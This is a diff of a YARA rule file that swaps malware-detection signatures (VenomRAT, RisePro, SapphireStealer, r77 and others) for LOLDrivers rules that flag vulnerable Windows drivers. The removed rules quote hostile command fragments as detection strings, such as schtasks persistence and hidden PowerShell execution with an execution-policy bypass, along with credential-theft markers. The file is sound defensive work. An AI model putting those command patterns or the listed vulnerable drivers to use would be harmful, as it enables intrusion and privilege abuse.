-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11161-L11172"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d7e5e99c9266ec144152c3d1066e0e1a862f48ded17fab8f504192ca48219826"
-		score = 75
-		quality = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - elrawdsk.sys"
+		author = "Florian Roth"
+		id = "13de286c-92f2-5677-86ee-99c70a338c8e"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L326-L346"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "4744df6ac02ff0a3f9ad0bf47b15854bbebb73c936dd02f7c79293a2828406f6"
+		hash = "5a826b4fa10891cf63aae832fc645ce680a483b915c608ca26cedbb173b1b80a"
+		logic_hash = "01faeb5fe7618ce1135a8532c76357cfea1dfb0932e3d7c4cf9ff7d1c8c1d8fb"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		clamav = "ditekSHen.MALWARE.Win.Trojan.TOITOIN"
 
 	strings:
-		$p1 = ":\\Trabalho_2023\\OFF_2023\\" ascii
-		$s1 = { 20 2f 63 20 22 [6-15] 63 00 6d 00 64 00 00 00 6f 00 70 00 65 00 6e }
-		$o1 = { 48 83 fa 10 72 34 48 8b 8d 10 ?? 00 00 48 ff c2 }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200610077004400690073006b0020004400720069007600650072002e00200041006c006c006f00770073002000770072006900740065002000610063006300650073007300200074006f002000660069006c0065007300200061006e006400200072006100770020006400690073006b00200073006500630074006f0072007300200066006f0072002000750073006500720020006d006f006400650020006100700070006c00690063006100740069006f006e007300200069006e002000570069006e0064006f007700730020003200300030003000200061006e00640020006c0061007400650072002e }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c0064006f005300200043006f00720070006f0072006100740069006f006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002c00200031002c002000320037002c0020003100300036 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002c00200031002c002000320037002c00200030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0065006c00720061007700640073006b002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005200610077004400690073006b }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0065006c00720061007700640073006b002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300037002d0032003000310031002c00200045006c0064006f005300200043006f00720070006f0072006100740069006f006e0020 }
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Venomrat : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Gigabytetechnologycoltd_Gdrvsys_Gigabytesoftwaredriver_81AA : FILE
 {
 	meta:
-		description = "Detects VenomRAT"
-		author = "ditekSHen"
-		id = "93cd5ae3-c222-51a2-bbb9-bdd3254006e5"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11174-L11188"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "47d343def76a323c66db4ba6fb1c0d119f45323f9b7f36695e4aeb7b070819d7"
-		score = 75
-		quality = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gdrv.sys"
+		author = "Florian Roth"
+		id = "03cc80bd-699d-5c23-9acc-a523fa3110f3"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L349-L368"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "81aafae4c4158d0b9a6431aff0410745a0f6a43fb20a9ab316ffeb8c2e2ccac0"
+		logic_hash = "8be18437fb165bab491d1d63b01d744f14df8594288bf0d447b76913de934aa9"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$x1 = "Venom RAT + HVNC" fullword ascii
-		$x2 = "Venom" fullword ascii
-		$x3 = "VenomByVenom" fullword wide
-		$s1 = "/c schtasks /create /f /sc onlogon /rl highest /tn \"" fullword wide
-		$s2 = "UmVjZWl2ZWQ" wide
-		$s3 = "Pac_ket" fullword wide
-		$s4 = "Po_ng" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004900470041002d00420059005400450020004e006f006e0050006e00500020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0047004900470041002d004200590054004500200054004500430048004e004f004c004f0047005900200043004f002e002c0020004c00540044002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0031002e0030002e0031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006400720076002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0047004900470041002d004200590054004500200053006f0066007400770061007200650020006400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006400720076002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310037 }
 
 	condition:
-		uint16(0)==0x5a4d and (1 of ($x*) and 2 of ($s*))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Sapphirestealer : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Advancedmicrodevices_Amdryzenmasterdriversys_Amdryzenmasterservicedriver_F6CD : FILE
 {
 	meta:
-		description = "Detects SapphireStealer"
-		author = "ditekSHen"
-		id = "ed6cffe4-23f1-5791-b07d-75abb698c899"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11190-L11208"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "97088c0decf158d45a02571bd50b5f370c139339c19b8071f38c0f9816232d1f"
-		score = 75
-		quality = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AMDRyzenMasterDriver.sys"
+		author = "Florian Roth"
+		id = "40d54ac5-209a-5f0e-b799-f492b7fcc973"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L371-L390"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "f6cd7353cb6e86e98d387473ed6340f9b44241867508e209e944f548b9db1d5f"
+		logic_hash = "1f489ec71f92390aeb4137ba72cb88a950ed91f8e67bb82cf176a8c2fb4ef50f"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$s1 = "Sapphire.Modules." ascii
-		$s2 = "sapphire\\" wide
-		$s3 = "by r3vengerx0" wide
-		$s4 = "Sapphire\\obj\\" ascii
-		$s5 = "[ERROR_GETSECRETKEY_METHOD]" fullword wide
-		$s6 = "[ERROR_CANT_GET_PASSWORD]" fullword wide
-		$s7 = "<h2>------NEW LOGS------</h2>" wide
-		$s8 = "[ERROR] can't create grab directory" wide
-		$s9 = "<UploadToTelegram>d__" ascii
-		$s10 = "UploadToTelegram" ascii
-		$s11 = ".SendLog+<UploadToTelegram>d__" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0032002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0032002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020003200300031003700200041004d0044002c00200049006e0063002e }
 
 	condition:
-		uint16(0)==0x5a4d and 5 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_R77 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_2594 : FILE
 {
 	meta:
-		description = "Detects r77 rootkit"
-		author = "ditekSHen"
-		id = "813d207e-c6d9-5fea-8387-19da33bc3317"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11210-L11235"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e3ec6e88a3a77b7dc69eb51a528e6417f6b8695c7cb01d699cf248cebd9b84e2"
-		score = 75
-		quality = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		id = "3d265316-2b94-581a-b44a-fe015d316eff"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L393-L412"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "2594b3ef3675ca3a7b465b8ed4962e3251364bab13b12af00ebba7fa2211abb2"
+		logic_hash = "ef0e7b48aaee9dc6251120a879a192993d86043dbfd11e2be1f6e675aaa4d2e4"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$s1 = "startup" fullword wide
-		$s2 = "process_names" fullword wide
-		$s3 = "paths" fullword wide
-		$s4 = "service_names" fullword wide
-		$s5 = "tcp_local" fullword wide
-		$s6 = "tcp_remote" fullword wide
-		$s7 = "\\\\.\\pipe\\" wide
-		$s8 = "SOFTWARE\\" wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0033002e0033003800360030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0033002e0033003800360030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310038002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($s*) or (5 of them and pe.exports("ReflectiveDllMain")) or (5 of them and for any i in (0..pe.number_of_sections) : ((pe.sections[i].name==".detourd"))))
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Disco_Nightclub : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Novellinc_Novellxtier_8473 : FILE
 {
 	meta:
-		description = "Hunts for Disco NightClub"
-		author = "ditekSHen"
-		id = "79cbd351-e5d9-5f1f-8e73-71e0acca2707"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11237-L11255"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ee0bd110ea1a3182284c4b3d6dd7eff48ca809a35a925147c716b18a88c0a233"
-		score = 75
-		quality = 51
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nicm.sys"
+		author = "Florian Roth"
+		id = "730567f0-ae1e-5d8d-a9e6-df176faf4878"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L415-L437"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "84739539aa6a9c9cb3c48c53f9399742883f17f24e081ebfa7bfaaf59f3ed451"
+		hash = "6c7120e40fc850e4715058b233f5ad4527d1084a909114fd6a36b7b7573c4a44"
+		hash = "e279e425d906ba77784fb5b2738913f5065a567d03abe4fd5571695d418c1c0f"
+		hash = "3a65d14fd3b1b5981084cdbd293dc6f4558911ea18dd80177d1e5b54d85bcaa0"
+		hash = "8b688dd055ead2c915a139598c8db7962b42cb6e744eaacfcb338c093fc1f4e7"
+		logic_hash = "62c957b30267a5f34ff98f36170473d042ccd30686b2e178513957126cde194c"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$s1 = "\\OfficeBroker\\OfficeBroker.exe" ascii wide nocase
-		$s2 = "\\EDGEUPDATE\\EDGEAOUT" ascii wide nocase
-		$s3 = "\\EDGEUPDATE\\update" ascii wide nocase
-		$s4 = "windows.system.update.com" ascii wide nocase
-		$s5 = "edgeupdate-security-windows.com" ascii wide nocase
-		$s6 = "nightclub::" ascii wide nocase
-		$s7 = "EncryptedPasswordFlt" ascii wide nocase
-		$s8 = "Microsoft\\def\\Gfr45.cfg" ascii wide nocase
-		$s9 = "::keylog::" ascii wide nocase
-		$pdb1 = "\\AbcdMainProject\\Rootsrc\\Projects\\MainS\\Ink\\" ascii wide nocase
-		$pdb2 = "\\Autogen\\Kh\\AutogenAlg\\" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c00200043006c00690065006e007400200050006f00720074006100620069006c0069007400790020004c0061007900650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e00310031002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e00310031 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00490043004d002e005300590053 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000310033002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and ((1 of ($pdb*) and 2 of ($s*)) or (4 of ($s*)))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Risepro : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Highresolutionenterpriseswwwhighrezcouk_Inpoutsys_Inpoutdriverversion_CFAB : FILE
 {
 	meta:
-		description = "Detects RisePro infostealer"
-		author = "ditekShen"
-		id = "77bc8791-cbe8-53b5-86f4-bc918454a6a6"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11257-L11287"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f6f1832f316df51ca108a3c75034bd53c3823cd3d9b16da120e12e252dbf90ff"
-		score = 75
-		quality = 71
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - inpout32.sys"
+		author = "Florian Roth"
+		id = "0ce7b65a-8472-5964-88cf-879cdd3c15a2"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L440-L463"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "cfab93885e5129a86d13fd380d010cc8c204429973b776ab1b472d84a767930f"
+		hash = "945ee05244316ff2f877718cf0625d4eb34e6ec472f403f958f2a700f9092507"
+		hash = "7db320e49139f636c8b6d12b6c78b666a62599e9d59587ba87c6b89b0a34b18d"
+		hash = "16360ead229b13deb47bc2bef40f282474c9f18c213c636cdfb8cc2495168251"
+		hash = "b8ded5e10dfc997482ba4377c60e7902e6f755674be51b0e181ae465529fb2f2"
+		logic_hash = "5e5c8949d41009360058f6af3ef374708ebf45e9eede873297afbfd26de8874c"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$x1 = "t.me/riseprosupport" ascii wide nocase
-		$s1 = "failed readpacket" fullword wide
-		$s2 = "faield sendpacket" fullword wide
-		$s3 = "PersistWal" fullword wide
-		$s4 = /CRED_ENUMERATE_(ALL|SESSION)_CREDENTIALS/ fullword ascii
-		$s5 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36" fullword wide
-		$s6 = { 4c 00 6f 00 67 00 69 00 6e 00 20 00 44 00 61 00
-                74 00 61 [10] 57 00 65 00 62 00 20 00 44 00 61 00
-                74 00 61 [2] 48 00 69 00 73 00 74 00 6f 00 72 00
-                79 [21] 43 00 6f 00 6f 00 6b 00 69 00 65 00 73 }
-		$s7 = { 61 00 70 00 70 00 6c 00 69 00 63 00 61 00 74 00
-                69 00 6f 00 6e 00 2f 00 78 00 2d 00 77 00 77 00
-                77 00 2d 00 66 00 6f 00 72 00 6d 00 2d 00 75 00
-                72 00 6c 00 65 00 6e 00 63 00 6f 00 64 00 65 00
-                64 00 3b 00 20 00 63 00 68 00 61 00 72 00 73 00
-                65 00 74 00 3d 00 75 00 74 00 66 00 2d 00 38 00
-                42 61 00 70 00 70 00 6c 00 69 00 63 00 61 00 74
-                00 69 00 6f 00 6e 00 2f 00 6a 00 73 00 6f 00 6e
-                00 2c 00 20 00 74 00 65 00 78 00 74 00 2f 00 70
-                00 6c 00 61 00 69 00 6e 00 2c 00 20 00 2a 00 2f
-                00 2a }
-		$s8 = /_(SET|GET)_(GRABBER|LOADER)/ wide
-		$s9 = /catch (save )?(windows cred|screen|pluginscrypto|historyCC|autofill|cookies|passwords|passwords sql|autofills sql|dwnlhistory sql|discordToken|quantum|isDropped)/ fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004b00650072006e0065006c0020006c006500760065006c00200070006f0072007400200061006300630065007300730020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0048006900670068007200650073006f006c007500740069006f006e00200045006e0074006500720070007200690073006500730020005b007700770077002e006800690067006800720065007a002e0063006f002e0075006b005d }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00320020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0032 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0069006e0070006f0075007400330032002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0069006e0070006f00750074003300320020004400720069007600650072002000560065007200730069006f006e00200031002e0032 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0069006e0070006f0075007400330032002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300030003800200048006900670068007200650073006f006c007500740069006f006e00200045006e007400650072007000720069007300650073002e00200050006f007200740069006f006e007300200043006f007000790072006900670068007400200028006300290020004c006f00670069007800340075 }
 
 	condition:
-		uint16(0)==0x5a4d and (1 of ($x*) or 6 of ($s*))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Graphicalproton_Rsockstun : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Novellinc_Novellxtier_4CD8 : FILE
 {
 	meta:
-		description = "Detects GraphicalProton custom rsockstun"
-		author = "ditekShen"
-		id = "5efa85f6-7e73-53a1-92df-4cb975e62345"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11289-L11304"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ca4d18160b89d82106310237cf81bba57a7f51be77a31d2f18ca8c2987972c2c"
-		score = 75
-		quality = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - libnicm.sys"
+		author = "Florian Roth"
+		id = "62e8e5f9-be64-5989-ace0-71a5910cef95"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L466-L486"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "4cd80f4e33b713570f6a16b9f77679efa45a466737e41db45b41924e7d7caef4"
+		hash = "00c02901472d74e8276743c847b8148be3799b0e3037c1dfdca21fa81ad4b922"
+		hash = "66a20fc2658c70facd420f5437a73fa07a5175998e569255cfb16c2f14c5e796"
+		logic_hash = "822a064ed95de5c44932b3ba5d0f89c16ee12f9fb5201b99344a74461eef932c"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$m1 = "main.connectviaproxy" ascii
-		$m2 = "main.connectForSocks" ascii
-		$m3 = "main.listenForClients" ascii
-		$m4 = "main.listenForSocks" ascii
-		$s1 = "Proxy-Authorization: NTLM TlRMTVNTUAABAAAABoIIAAAAAAAAAAAAAAAAAAAAAAA=" ascii
-		$s2 = "Server: nginx/1.14.1" ascii
-		$s3 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" ascii
-		$s4 = "wine_get" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c0020005800540043004f004d0020005300650072007600690063006500730020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e00310031002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e00310031 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006c00690062006e00690063006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000310034002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and (( all of ($m*) and 2 of ($s*)) or ( all of ($s*) and 1 of ($m*)) or 7 of them )
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_PWSHDLLDL : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Innotekgmbh_Vboxguest_Virtualboxguestadditions_9833 : FILE
 {
 	meta:
-		description = "Detects downloader"
-		author = "ditekShen"
-		id = "553ed216-c8c2-504f-b689-0e8d21a00eaa"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11306-L11321"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "7acef81f0e6e282650c161963599dcbe2b3975d482eb7c330581901b0fe85655"
-		score = 75
-		quality = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - vboxguest.sys"
+		author = "Florian Roth"
+		id = "b569d61f-4b07-50f7-8e3f-a63631a060a0"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L489-L508"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "983310cdce8397c016bfcfcc9c3a8abbb5c928b235bc3c3ae3a3cc10ef24dfbd"
+		logic_hash = "8d2323bd83c70339f41fc8f90c67729f57ee1e54dc4f7d05dfded438c7bc419a"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$s1 = "powershell.exe Set-ExecutionPolicy Bypass -Scope Process ; powershell -file " fullword wide nocase
-		$s2 = "objShell.run \"powershell -WindowStyle hidden -command wscript.exe //b //nologo '" fullword wide nocase
-		$s3 = "cmd.exe /c schtasks.exe /create /tn \"" fullword wide nocase
-		$s4 = "-WindowStyle hidden -command wscript.exe //b //nologo '" fullword wide nocase
-		$s6 = "\" /tr \"wscript.exe //b //nologo '" fullword wide nocase
-		$s7 = "\" -Value \"Powershell.exe -WindowStyle hidden \"\"& '" fullword wide nocase
-		$op0 = { 61 01 00 34 53 79 73 74 65 6d 2e 57 65 62 2e 53 }
-		$op1 = { 4b 04 00 00 34 01 00 00 7f 05 00 00 1a }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f00780020004700750065007300740020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0069006e006e006f00740065006b00200047006d00620048 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0035002e0032 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0035002e0032 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00760062006f007800670075006500730074 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072007400750061006c0042006f00780020004700750065007300740020004100640064006900740069006f006e0073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00760062006f007800670075006500730074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300034002d003200300030003700200069006e006e006f00740065006b00200047006d00620048 }
 
 	condition:
-		uint16(0)==0x5a4d and pe.is_dll() and 5 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-
